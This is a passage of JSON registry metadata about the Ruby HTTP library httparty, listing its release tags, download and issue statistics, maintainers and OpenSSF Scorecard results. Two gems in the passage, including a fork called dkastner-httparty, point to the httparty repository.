gz/v0.7.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"d5b023c9054aaa308e012adb1220f8d1d065cdb9","kind":"commit","published_at":"2011-01-20T17:33:06.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"802a4edddd70b898580ee12bec79a4459214a5fd","kind":"commit","published_at":"2011-01-20T06:41:37.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"6946ecb4914bf65b685a0fd6bd4a122f1b2a4c01","kind":"commit","published_at":"2011-01-19T21:54:16.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"f52142ffc5867ce42bf3048315959d84e7639d64","kind":"commit","published_at":"2011-01-18T22:05:49.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.7.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.7.0/manifests"},{"name":"v0.6.1","sha":"24892b873f88e16d86dca2dd5a96fcf4dacfcc77","kind":"commit","published_at":"2010-07-07T20:14:54.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"d160df6c3b21a384cfcc68c0ffd23dc6c168b68d","kind":"commit","published_at":"2010-06-13T15:43:43.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.6.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"03852d246bc1482150e92c23115e02e1de4930fb","kind":"commit","published_at":"2010-01-31T23:39:28.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"c3cefc223aca504072951cabf17e17cd88a5780c","kind":"commit","published_at":"2010-01-31T03:31:23.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"94601fe05efeb2fbd001e9830b4f9ec522ad2250","kind":"commit","published_at":"2009-12-08T02:59:52.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.5.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.5.0/manifests"},{"name":"v0.4.5","sha":"7443e42395e00ddaee362586471ae948eada4a76","kind":"commit","published_at":"2009-09-13T03:14:01.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.4.5","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.4.5/manifests"}]},"repo_metadata_updated_at":"2026-04-27T18:03:04.819Z","dependent_packages_count":0,"downloads":3909,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":80.1050031237283,"dependent_repos_count":46.781949801970555,"dependent_packages_count":15.705942029816185,"stargazers_count":0.18111581095177506,"forks_count":0.38802343042516363,"average":28.632406839378394},"purl":"pkg:gem/yoyle439587298","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/yoyle439587298","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/yoyle439587298","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/yoyle439587298/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-04-23T16:06:51.925Z","issues_count":69,"pull_requests_count":109,"avg_time_to_close_issue":20359214.911111113,"avg_time_to_close_pull_request":34382867.37755102,"issues_closed_count":45,"pull_requests_closed_count":98,"pull_request_authors_count":59,"issue_authors_count":69,"avg_comments_per_issue":3.5942028985507246,"avg_comments_per_pull_request":1.6697247706422018,"merged_pull_requests_count":63,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":7,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":4007655.5,"past_year_avg_time_to_close_pull_request":1195047.7272727273,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":2.2857142857142856,"past_year_avg_comments_per_pull_request":1.5294117647058825,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":8,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/yoyle439587298/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/yoyle439587298/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/yoyle439587298/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/yoyle439587298/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/yoyle439587298/codemeta","maintainers":[{"uuid":"76918","login":"asir23","name":null,"email":null,"url":null,"packages_count":1,"html_url":"https://rubygems.org/profiles/asir23","role":null,"created_at":"2022-11-09T09:57:25.994Z","updated_at":"2022-11-09T09:57:25.994Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/asir23/packages"}],"registry":{"name":"rubygems.org","url":"https://rubygems.org","ecosystem":"rubygems","default":true,"packages_count":205536,"maintainers_count":68468,"namespaces_count":0,"keywords_count":0,"github":"rubygems","metadata":{"funded_packages_count":7260},"icon_url":"https://github.com/rubygems.png","created_at":"2022-04-04T15:19:23.446Z","updated_at":"2026-04-03T06:42:17.024Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/namespaces"}},{"id":12215097,"name":"dkastner-httparty","ecosystem":"rubygems","description":"Makes http fun! Also, makes consuming restful web services dead easy.","homepage":"http://jnunemaker.github.com/httparty","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2012-11-16T21:34:17.937Z","latest_release_published_at":"2012-11-16T21:34:17.937Z","latest_release_number":"0.9.0","last_synced_at":"2026-04-27T18:02:35.606Z","created_at":"2025-10-07T02:29:05.073Z","updated_at":"2026-04-27T18:03:04.832Z","registry_url":"https://gem.coop/gems/dkastner-httparty","install_command":"gem install dkastner-httparty -s https://gem.coop","documentation_url":"http://www.rubydoc.info/gems/dkastner-httparty/","metadata":{"funding":null},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2026-03-04T15:48:24.000Z","size":1597,"stargazers_count":5889,"open_issues_count":43,"forks_count":970,"subscribers_count":59,"default_branch":"main","last_synced_at":"2026-04-12T03:36:33.349Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2026-04-10T06:17:10.000Z","dependencies_parsed_at":"2025-12-07T21:04:48.943Z","dependency_job_id":null,"html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":64,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31749763,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-13T09:16:15.125Z","status":"ssl_error","status_checked_at":"2026-04-13T09:16:05.023Z","response_time":93,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports ","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"tags":[{"name":"v0.24.2","sha":"9c89e55ce3578b393e17b2928acab5b5f941e808","kind":"commit","published_at":"2026-01-14T22:53:56.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.2/manifests"},{"name":"v0.24.1","sha":"906aab0de3d41129c0003f582f57fd30b970056a","kind":"commit","published_at":"2026-01-14T22:44:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.1/manifests"},{"name":"v0.24.0","sha":"55ec76e8d1df7903eab3f7c2367991400d3cf65e","kind":"commit","published_at":"2025-12-28T21:37:53.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.24.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.24.0/manifests"},{"name":"v0.23.2","sha":"c74571f7925c8e142d02c2b7d6ebeedf923b1dd1","kind":"commit","published_at":"2025-10-07T21:53:15.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"9417ce158d732fecc753c656accb59c470cfb6f8","kind":"commit","published_at":"2025-03-28T18:28:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"891a4a8093afd4cacecab2719223e3170d07f1c0","kind":"commit","published_at":"2025-03-27T14:45:51.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"6e1f154309a6076208ba9bec8e4183ec619541e0","kind":"commit","published_at":"2024-04-29T12:26:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.22.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"e731057ebc297eb8a750e866b7762e869dea3087","kind":"commit","published_at":"2022-12-30T21:05:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.21.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"32c57d91581fd91cf1ed429c24cf410528934a9c","kind":"commit","published_at":"2021-09-29T13:04:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.20.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0d20a4f8225a653ab306d4994cf737e4fdf2b7d4","kind":"commit","published_at":"2021-09-29T12:39:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"b4213368675a8dd7f45e443fd9b8c3f7edb1eee1","kind":"commit","published_at":"2021-09-09T14:57:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"0e8b82730a143c07c919bb8773f017338f637016","kind":"commit","published_at":"2020-06-10T18:40:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"b4aba417a502342b1f6940c711e155b8eb8c3951","kind":"commit","published_at":"2020-02-19T16:09:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0/manifests"},{"name":"v0.17.3","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v